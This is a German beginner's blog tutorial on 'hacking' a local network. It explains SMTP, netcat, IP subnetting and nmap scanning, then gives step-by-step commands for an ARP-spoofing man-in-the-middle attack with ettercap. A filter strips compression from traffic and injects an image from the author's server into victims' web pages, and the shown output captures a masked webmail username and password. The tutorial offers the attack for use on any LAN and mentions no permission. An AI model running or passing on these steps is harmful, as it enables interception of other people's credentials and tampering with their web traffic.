Hacken für Anfänger
Dieser Beitrag wurde vor mehr als drei Monaten veröffentlicht. Bedenke bitte, dass die hier angebotene Information nicht mehr aktuell und gültig sein könnte. Informiere dich daher bitte auch an anderer Stelle über dieses Thema. Sollten sich neue Informationen ergeben haben, so kannst du mich auch gerne auf diese über einen Kommentar hinweisen. Vielen Dank!Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen,
dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.
1.) Erklärung
Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.
auf deinem PC:
telnet "server" 25
HELO "server"
MAIL FROM:test@server.de
RCPT TO:test2@server2.de
Nun kannst du die E-Mail schrieben, mit einem "." beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit...
nc -v suckup.de 25
... ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.
nc -v suckup.de 80
Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.
cat /etc/protocols
Einen "Port", kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).
Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.
1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung
cat backup.iso | nc -l 3333
2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen
nc 192.168.0.1 3333 > backup.iso
-> weitere Infos zu nc
Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.
Als erstes schauen wir und unsere eigene IP-Adresse an.
ifconfig
Beispiel: Ausgabe
[...]
Link encap:Ethernet Hardware Adresse 00:25:56:37:5b:96
inet Adresse:192.168.2.103 Bcast:192.168.2.255 Maske:255.255.255.0
[...]
Hier können wir nun sehr viele hilfreiche Infos finden:
Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse
inter Adresse: deine IP-Adresse
Bcast: die letzte IP-Adresse in diesem Netzwerk
Mask: die Aufteilung von deinem Netz
In meinem Beispiel habe ich selber die IP-Adresse "192.168.2.103" und die Netzmaske "255.255.255.0" daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:
00000001 = 1
00000010 = 2
00000011 = 3
[...]
11000000 10101000 00000010 01100111
+ 11111111 11111111 11111111 00000000
------------------------
11000000 10101000 00000010 00000000
Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:
255.255.255.0 -> 11111111 11111111 11111111 | 00000000
Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen - (Supernetting)
2⁸ = 256 - 1 (Braodcast) - 1 (Netzadresse)
254 -> Hostanteil
Man kann nun den Hostanteil auch anders darstellen.
24 x I -> /24
Mit diesen Infos können wir nun mithilfe von "nmap" das Netz nach aktiven PCs durchsuchen.
nmap -v -sP 192.168.2.255/24
Und ggf. auch nach offenen Ports im Netz suchen.
nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'
2.) System vorbereiten
Welches Interface wird verwendet?
mein_interface="wlan0"
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
aptitude install ettercap-common ettercap
vim /etc/eppercap
[...][privs]ec_uid = 0 # nobody is the defaultec_gid = 0 # nobody is the default[...]
[...]# if you use iptables:redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"[...]
cd /usr/share/ettercap
vim filter.pic
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
etterfilter filter.pic -o filter.ef
3.) Hack durchführen
sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[...]zapped Accept-Encoding!zapped Accept-Encoding!zapped Accept-Encoding!HTTP : 217.188.35.145:443 -> USER: ******@web.de PASS: ******* INFO: http://www.studivz.net/zapped Accept-Encoding!zapped Accept-Encoding!zapped Accept-Encoding!zapped Accept-Encoding![...]





hab mal ne frage zu diesen kästchen wo immer so befehle oder so drinstehen wie ""telnet "server" 25"" ,wo muss ich die eingeben ?? xD